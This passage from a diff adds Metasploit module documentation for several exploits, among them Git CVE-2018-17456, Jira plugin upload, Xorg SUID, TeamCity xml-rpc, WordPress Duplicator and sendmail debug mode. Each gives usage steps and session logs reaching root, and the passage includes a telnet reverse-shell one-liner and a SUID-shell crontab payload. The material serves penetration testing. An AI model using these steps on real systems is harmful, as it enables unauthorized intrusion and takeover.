[*] Writing '/tmp/.LOren.c' (6058 bytes) ...
|
||||
[*] Writing '/tmp/.C9dWgG.c' (1604 bytes) ...
|
||||
[*] Writing '/tmp/.6syapMd72' (367 bytes) ...
|
||||
[*] Adding cron job...
|
||||
[*] [.] starting
|
||||
[*] [.] setting up namespace
|
||||
[*] [~] done, namespace sandbox set up
|
||||
[*] [.] mapping subordinate ids
|
||||
[*] [.] subuid: 100000
|
||||
[*] [.] subgid: 100000
|
||||
[*] [~] done, mapped subordinate ids
|
||||
[*] [.] executing subshell
|
||||
[+] Success. Waiting for job to run (may take a minute)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (816260 bytes) to 172.16.191.137
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.137:39150) at 2018-11-24 19:28:02 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Fedora 28 (Linux 4.16.3-301.fc28.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
## Vulnerable Application
|
||||
|
||||
It was discovered that the Unitrends `bpserverd` proprietary protocol, as exposed via `xinetd`,
|
||||
has an issue in which its authentication can be bypassed. A remote attacker could use this
|
||||
issue to execute arbitrary commands with root privilege on the target system.
|
||||
This is very similar to `exploits/linux/misc/ueb9_bpserverd` however it runs against the
|
||||
`localhost` by dropping a python script on the local file system. Unitrends stopped
|
||||
`bpserverd` from listening remotely on version 10.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
* UEB 9.2
|
||||
* UEB 10.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a user shell with `exploit/linux/http/ueb_api_rce` with `set target 1`
|
||||
2. ```use exploit/linux/local/ueb_bpserverd_privesc ```
|
||||
3. ```set session [SESSION]```
|
||||
4. ```exploit```
|
||||
5. A root meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 10.0 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/ueb_priv_esc
|
||||
msf exploit(linux/local/ueb_priv_esc) > set session 4
|
||||
session => 4
|
||||
msf exploit(linux/local/ueb_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 15.0.0.177:4444
|
||||
[*] Writing payload executable to '/tmp/pEFoythF'
|
||||
[*] Writing privesc script to '/tmp/CTZSovJR'
|
||||
[*] Fixing permissions
|
||||
[*] Sending stage (857352 bytes) to 10.20.1.202
|
||||
[*] Meterpreter session 5 opened (15.0.0.177:4444 -> 10.20.1.202:45188) at 2018-04-27 16:44:28 -0400
|
||||
[+] Deleted /tmp/pEFoythF
|
||||
[+] Deleted /tmp/CTZSovJR
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
### UEB 9.2 on CentOS 6
|
||||
|
||||
```
|
||||
resource (ueb_priv.rb)> use exploit/linux/http/ueb_api_rce
|
||||
resource (ueb_priv.rb)> set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
resource (ueb_priv.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (ueb_priv.rb)> set target 1
|
||||
target => 1
|
||||
resource (ueb_priv.rb)> run
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:443 - Sending requests to UEB...
|
||||
[*] Command Stager progress - 19.76% done (164/830 bytes)
|
||||
[*] Command Stager progress - 39.16% done (325/830 bytes)
|
||||
[*] Command Stager progress - 56.87% done (472/830 bytes)
|
||||
[*] Command Stager progress - 74.82% done (621/830 bytes)
|
||||
[*] Command Stager progress - 92.77% done (770/830 bytes)
|
||||
[*] Command Stager progress - 110.48% done (917/830 bytes)
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:40216) at 2018-11-15 20:03:46 -0500
|
||||
[*] Command Stager progress - 126.63% done (1051/830 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=48, gid=48, euid=48, egid=48
|
||||
meterpreter > sysinfo
|
||||
Computer : 1.1.1.1
|
||||
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
resource (ueb_priv.rb)> use exploit/linux/local/ueb_bpserverd_privesc
|
||||
resource (ueb_priv.rb)> set session 1
|
||||
session => 1
|
||||
resource (ueb_priv.rb)> run
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Writing payload executable to '/tmp/.mM0iyQvoAO'
|
||||
[*] Writing privesc script to '/tmp/.sDjn0m'
|
||||
[*] Fixing permissions
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:40219) at 2018-11-15 20:04:21 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
## Description
|
||||
|
||||
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
|
||||
|
||||
When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.
|
||||
|
||||
This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Git can be installed on a variety of operating systems, however
|
||||
newer versions will contain the patch for this vulnerability.
|
||||
|
||||
On OSX it can be installed with the XCode command line tools:
|
||||
`xcode-select --install`
|
||||
|
||||
On Linux it can be installed with apt:
|
||||
`sudo apt-get update && sudo apt-get install git`
|
||||
|
||||
You can check the version with `git --version`.
|
||||
The fix is included in the following version:
|
||||
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format:
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/git_submodule_url_exec`
|
||||
1. Do: `set LHOST [local host]`
|
||||
1. Do: `exploit`
|
||||
1. Clone the malicious Git URI and its submodules (e.g `git clone --recurse-submodules GIT_URL`)
|
||||
1. You should get a shell
|
||||
|
||||
## Options
|
||||
|
||||
**GIT_URI**
|
||||
|
||||
This is the URI the git repository will be hosted from (defaults to random).
|
||||
|
||||
**GIT_SUBMODULE**
|
||||
|
||||
This is the URI of the submodule within the git repository (defaults to random).
|
||||
The url of this submodule, when cloned, will execute the payload.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/git_submodule_url_exec
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
|
||||
LHOST => 192.168.0.1
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.1:4444
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
|
||||
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
|
||||
[*] Server started.
|
||||
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
|
||||
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
|
||||
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000
|
||||
```
|
||||
|
||||
On the victim side:
|
||||
|
||||
```
|
||||
git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
|
||||
Cloning into 'ogkvs'...
|
||||
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
|
||||
Cloning into 'lr'...
|
||||
fatal: Could not read from remote repository.
|
||||
|
||||
Please make sure you have the correct access rights
|
||||
and the repository exists.
|
||||
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
|
||||
Failed to clone 'lfr:lr'. Retry scheduled
|
||||
Cloning into 'lr'...
|
||||
fatal: Could not read from remote repository.
|
||||
|
||||
Please make sure you have the correct access rights
|
||||
and the repository exists.
|
||||
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
|
||||
Failed to clone 'lfr:lr' a second time, aborting
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
|
||||
|
||||
To set up a vulnerable installation:
|
||||
1. Build the Atlassian SDK environment. Instructions can be found below:
|
||||
- Windows:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
|
||||
- Linux/Mac:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
|
||||
2. Create a shell Jira plugin and launch the SDK. Instructions can be found below:
|
||||
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
|
||||
3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
|
||||
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Atlassian SDK/Jira environment.
|
||||
2. Browse to localhost:2990/jira/ to confirm successful deployment.
|
||||
3. Start msfconsole: ```msfconsole -q```
|
||||
4. Do: ```use exploit/multi/http/jira_plugin_upload```
|
||||
5. Do: ```set rhost [IP]```
|
||||
6. Check credentials and UPM access: ```check```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
Successful exploitation:
|
||||
```
|
||||
msf > use exploit/multi/http/jira_plugin_upload
|
||||
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf exploit(multi/http/jira_plugin_upload) > check
|
||||
|
||||
[*] Server accepted the credentials, user has access to plugin manager!
|
||||
[*] 127.0.0.1:2990 The target appears to be vulnerable.
|
||||
msf exploit(multi/http/jira_plugin_upload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Retrieving Session ID and XSRF token...
|
||||
[*] Attempting to upload UlDRthpT
|
||||
[*] Successfully uploaded UlDRthpT
|
||||
[*] Executing UlDRthpT
|
||||
[*] Deleting UlDRthpT
|
||||
[*] Sending stage (53837 bytes) to 127.0.0.1
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
|
||||
msf exploit(multi/http/jira_plugin_upload) >
|
||||
```
|
|
@ -0,0 +1,91 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges using Xorg X11 server versions 1.19.0 < 1.20.3 set as SUID. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This flaw allows users to write over existing files on the system. This exploit backs up crontab and then uses -logfile to overwrite it. A command to be run is set for the Font Path argument -fp which will be logged and ran by cron.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Xorg (commonly referred as simply X) is the most popular display server among Linux users. Its ubiquity has led to making it an ever-present requisite for GUI applications, resulting in massive adoption from most distributions.
|
||||
|
||||
Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere. If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* OpenBSD 6.3
|
||||
* OpenBSD 6.4
|
||||
* CentOS 7.5.1084 x86_64
|
||||
|
||||
|
||||
## Verification Steps
|
||||
On CentOS your session must have console lock. To get a console lock you can login locally with a user.
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use exploit/multi/local/xorg_x11_suid_server`
|
||||
4. Do: Set a payload/target or use default(cmd/unix/reverse_openssl)
|
||||
5. Do: `set SESSION [SESSION]`
|
||||
6. Do: `set LHOST [LHOST]`
|
||||
7. Do: `run`
|
||||
8. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
## Advanced Options
|
||||
|
||||
**Xdisplay**
|
||||
|
||||
Display to use for Xorg (default: `:1`)
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
**ConsoleLock**
|
||||
|
||||
Will check for console lock under linux (default: `true`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(multi/local/xorg_x11_suid_server) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse double SSL handler on 172.30.0.2:4444
|
||||
[+] Passed all initial checks for exploit
|
||||
[*] Uploading your payload, this could take a while
|
||||
[*] Trying /etc/crontab overwrite
|
||||
[+] /etc/crontab overwrite successful
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Waiting on cron to run
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo t2XWfcWkZHevLPS8;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "t2XWfcWkZHevLPS8\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 2 opened (172.30.0.2:4444 -> 172.30.0.99:41253) at 2018-11-12 15:06:39 -0600
|
||||
[+] Returning session after cleaning
|
||||
[+] Deleted /tmp/.session-odRjfx
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards.
|
||||
|
||||
This module makes use of both a Windows and a Linux command stager. For Linux, the `echo` command stager flavor was replaced with the `printf` command stager flavor due to portability issues associated with `echo` and its options.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully with the following TeamCity Agent versions
|
||||
|
||||
* TeamCity 6.0
|
||||
* TeamCity 6.5
|
||||
* TeamCity 7.0
|
||||
* TeamCity 8.0
|
||||
* TeamCity 9.0
|
||||
* TeamCity 10.0
|
||||
* TeamCity 2017
|
||||
* TeamCity 2018
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `msfconsole`
|
||||
2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec`
|
||||
3. `set RHOSTS <rhost>`
|
||||
4. `set payload <payload>`
|
||||
5. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Which port the TeamCity Agent is listening on (default: 9090)
|
||||
|
||||
**CMD**
|
||||
|
||||
If specified the module will run the specified command instead of executing the payload
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149
|
||||
RHOSTS => 172.16.198.149
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.198.150:4444
|
||||
[*] Found TeamCity Agent running build version 58245
|
||||
[*] Constructing Windows payload
|
||||
[*] Found compatible build config for TeamCity build 58245
|
||||
[*] Successfully sent build configuration
|
||||
[*] Sending stage (179779 bytes) to 172.16.198.149
|
||||
[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
|
||||
* An ZIP archive with the complete WordPress files and Duplicator specific files:
|
||||
* A copy of the `installer.php` script: `installer-backup.php`
|
||||
* A SQL script that will be used to restore the database content: `database.sql`
|
||||
* An installer PHP script to restore the archive `installer.php`
|
||||
|
||||
When the `installer.php` completes its process, the following files remain in the directory and has to be manually deleted:
|
||||
* The ZIP archive
|
||||
* `database.sql`
|
||||
* `installer-backup.php`
|
||||
* `installer-data.sql`
|
||||
* `installer-log.txt`
|
||||
* `installer.php`
|
||||
|
||||
WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.
|
||||
|
||||
## Vulnerable application
|
||||
|
||||
Install a vulnerable version of [WordPress Duplicator (<= 1.2.40)](https://downloads.wordpress.org/plugin/duplicator.1.2.40.zip) and create a backup.
|
||||
Put the `install.php` and archive files on a clean web server.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Confirm that functionality works:
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/php/wp_duplicator_code_inject`
|
||||
3. Set the `RHOST`.
|
||||
4. Confirm the target is vulnerable: `check`
|
||||
5. Confirm that the target is vulnerable: `The target is vulnerable.`
|
||||
6. Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp`
|
||||
7. Set `LHOST` and `LPORT`
|
||||
8. Run the exploit: `run`
|
||||
9. Confirm you have now a meterpreter session
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the installer.php file to exploit By default, the path is `/installer.php`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Debian 9 running WordPress 4.9.8 with Duplicator 1.2.40
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/php/wp_duplicator_code_inject
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247
|
||||
rhosts => 192.168.37.247
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php
|
||||
targeturi => /wordpress/installer.php
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/php/wp_duplicator_code_inject) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Checking if the wp-config.php file already exists...
|
||||
[*] All good! Injecting PHP code in the wp-config.php file...
|
||||
[*] Requesting wp-config.php to execute the payload...
|
||||
[*] Sending stage (38247 bytes) to 192.168.37.247
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1251) at 2018-12-11 11:46:16 -0600
|
||||
[*] Attempting to recreate wp-config file...
|
||||
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
|
||||
[*] Successfully created the wp-config.php file!
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-0FAJA14JLP4
|
||||
OS : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
## Vulnerable Application
|
||||
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has
|
||||
been tested against El Capitan (10.11), Sierra (10.12) and High Sierra,
|
||||
however it may work on older versions.
|
||||
|
||||
The task_set_special_port API allows callers to overwrite their bootstrap port,
|
||||
which is used to communicate with launchd. This port is inherited across forks:
|
||||
child processes will use the same bootstrap port as the parent.
|
||||
By overwriting the bootstrap port and forking a child processes, we can now gain
|
||||
a MitM position between our child and launchd.
|
||||
|
||||
To gain root we target the sudo binary and intercept its communication with
|
||||
opendirectoryd, which is used by sudo to verify credentials. We modify the
|
||||
replies from opendirectoryd to make it look like our password was valid.
|
||||
|
||||
## Verification Steps
|
||||
1. Get a session on a vulnerable system
|
||||
2. `use exploit/osx/local/libxpc_mitm_ssudo`
|
||||
3. `set lhost <IP>`
|
||||
4. `set lport <PORT>`
|
||||
5. `set session <session_id>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
### Example Run
|
||||
```
|
||||
msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
|
||||
LHOST => 192.168.0.2
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
|
||||
LPORT => 4446
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4446
|
||||
[*] Uploading file: '/tmp/romrvmmf'
|
||||
[*] Uploading file: '/tmp/kflrjdgv'
|
||||
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
|
||||
[*] Transmitting first stager...(210 bytes)
|
||||
[*] Transmitting second stager...(4088 bytes)
|
||||
[*] Sending stage (808168 bytes) to 192.168.0.2
|
||||
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
|
@ -0,0 +1,61 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a SUID installation of the Emacs `movemail` utility
|
||||
to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`.
|
||||
The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*.
|
||||
|
||||
## Setup
|
||||
|
||||
A Docker environment for 4.3BSD on VAX is available at
|
||||
<https://github.com/wvu/ye-olde-bsd>.
|
||||
|
||||
For manual setup, please follow the Computer History Wiki's
|
||||
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
|
||||
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
|
||||
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 /usr/lib/crontab.local
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**MOVEMAIL**
|
||||
|
||||
Set this to the absolute path to the SUID-root `movemail` executable.
|
||||
|
||||
**CMD**
|
||||
|
||||
If your payload is `cmd/unix/generic` (suggested default), set this to
|
||||
the command you want to run as root. The provided default will create a
|
||||
SUID-root shell at `/tmp/sh`.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(unix/local/emacs_movemail) > run
|
||||
|
||||
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
|
||||
[*] Current shell is /bin/sh
|
||||
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
|
||||
[+] SUID-root [redacted] found
|
||||
[*] Preparing crontab with payload
|
||||
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
|
||||
* * * * * root rm -f /usr/lib/crontab.local
|
||||
[*] Creating writable /usr/lib/crontab.local
|
||||
[+] Writing crontab to /usr/lib/crontab.local
|
||||
[!] Please wait at least one minute for effect
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(unix/local/emacs_movemail) > sessions -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
ls -l /usr/lib/crontab.local /tmp/sh
|
||||
/usr/lib/crontab.local not found
|
||||
-rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh
|
||||
/tmp/sh -c whoami
|
||||
root
|
||||
```
|
|
@ -0,0 +1,101 @@
|
|||
## Intro
|
||||
|
||||
This module exploits `sendmail`'s well-known historical debug mode to
|
||||
escape to a shell and execute commands in the SMTP `RCPT TO` command.
|
||||
|
||||
This vulnerability was exploited by the Morris worm in 1988-11-02.
|
||||
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
|
||||
|
||||
## Setup
|
||||
|
||||
A Docker environment for 4.3BSD on VAX is available at
|
||||
<https://github.com/wvu/ye-olde-bsd>.
|
||||
|
||||
For manual setup, please follow the Computer History Wiki's
|
||||
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
|
||||
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
|
||||
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 @(#)version.c 5.51 (Berkeley) 5/2/86
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the target port. The default is 25 for `sendmail`, but the
|
||||
port may be forwarded when NAT (SLiRP) is used in SIMH.
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
Set this to a Unix command payload. Currently only `cmd/unix/reverse`
|
||||
and `cmd/unix/generic` are supported.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(unix/smtp/morris_sendmail_debug) > options
|
||||
|
||||
Module options (exploit/unix/smtp/morris_sendmail_debug):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
|
||||
RPORT 25 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 @(#)version.c 5.51 (Berkeley) 5/2/86
|
||||
|
||||
|
||||
msf5 exploit(unix/smtp/morris_sendmail_debug) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.1.5:4444
|
||||
[*] 127.0.0.1:25 - Connecting to sendmail
|
||||
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
|
||||
[*] 127.0.0.1:25 - Sending: DEBUG
|
||||
[*] 127.0.0.1:25 - Sending: MAIL FROM:<GmWE2vWEViR4CLhBWOOOUVSMjJEr2NymDveA>
|
||||
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
|
||||
[*] 127.0.0.1:25 - Sending: DATA
|
||||
[*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc
|
||||
[*] 127.0.0.1:25 - Sending: export PATH
|
||||
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4197|telnet 192.168.1.5 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.5 4444 >/dev/null 2>&1 &)'
|
||||
[*] 127.0.0.1:25 - Sending: .
|
||||
[*] 127.0.0.1:25 - Sending: QUIT
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo zqhqKJD7trW0E0Lp;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "zqhqKJD7trW0E0Lp\r\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
